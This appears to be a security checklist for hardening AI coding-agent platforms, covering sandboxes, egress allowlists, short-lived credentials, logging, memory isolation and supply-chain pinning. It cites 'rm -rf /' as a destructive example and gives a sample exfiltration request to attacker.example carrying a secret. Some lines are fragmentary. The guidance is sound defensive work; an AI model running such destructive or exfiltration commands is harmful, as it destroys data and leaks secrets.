1. Sandbox isolation
1.1 One session, one environment
- Each AI agent session runs in its own container or VM
1.2 Blast radius containment
- Destructive actions by the agent (
rm -rf /, for instance) stay contained inside the sandbox
2. Network controls
2.1 Egress allowlisting
- Outbound traffic is limited to an allowlist of domains and endpoints
curl or any HTTP library. A single request to https://attacker.example/collect?data=<secret> is enough to get the data out.
Recommendation: Implement a domain-based allowlist. For coding agents, permit only what you need, such as github.com, npmjs.org, pypi.org, and your own container registry. Cloud NGFW with FQDN rules works on Google Cloud, and a VPC paired with a forward proxy works on AWS. Deny all other outbound traffic.
2.2 HTTP-level inspection
- Sensitive environments inspect HTTP requests through a forward proxy
3. Credential management
3.1 Least privilege
- The agent holds only the minimum permissions its task requires
3.2 Short-lived credentials
- Every credential given to the agent expires quickly, within roughly an hour
3.3 Credential injection proxy
- Credentials live in a proxy rather than in the agent environment
3.4 Commit signing without long-lived keys
- Git commits from the agent are signed without GPG or SSH keys in its environment
3.5 Recoverability of affected resources
- Resources the agent can modify or delete have a recovery path
4. Observability
4.1 Agent action logs
- Every tool call, command execution, and MCP server invocation is recorded with a timestamp
claude -p in Claude Code CLI, collect them from the ~/.claude directory. Store them in a centralized append-only log store with a defined retention period.
4.2 LLM API proxy logs
- LLM API calls go through a proxy that records prompts and responses
4.3 Agent instrumentation
- Framework-level tracing covers workflows that span multiple steps
4.4 Runtime security
- Commands and processes inside the sandbox are monitored at the OS level
5. Prompt filtering
5.1 Enable prompt guardrails
- Prompt filtering applies to both input and output
5.2 Defense in depth beyond filtering
- Security rests on platform-level controls rather than on prompt filtering alone
6. Long-lived shared LLM memory
6.1 Namespace isolation for memory
- LLM memory is scoped per agent or per session
6.2 Memory audit logs
- Every read and write to LLM memory is recorded
7. Supply chain security
7.1 Component verification
- Agent frameworks, MCP servers, and Agent Skills come from verified sources and are pinned to specific versions
image@sha256:...) rather than by a mutable tag.
7.2 Read-only configuration
- Configuration files are mounted read-only and never carry over between sessions
8. Access management for the platform
8.1 Authenticated endpoints
- The platform’s API and gateway require authentication and aren’t exposed to the internet without access controls
8.2 Audit logs for platform access
- User operations are recorded, including session creation, instruction submission, and result retrieval

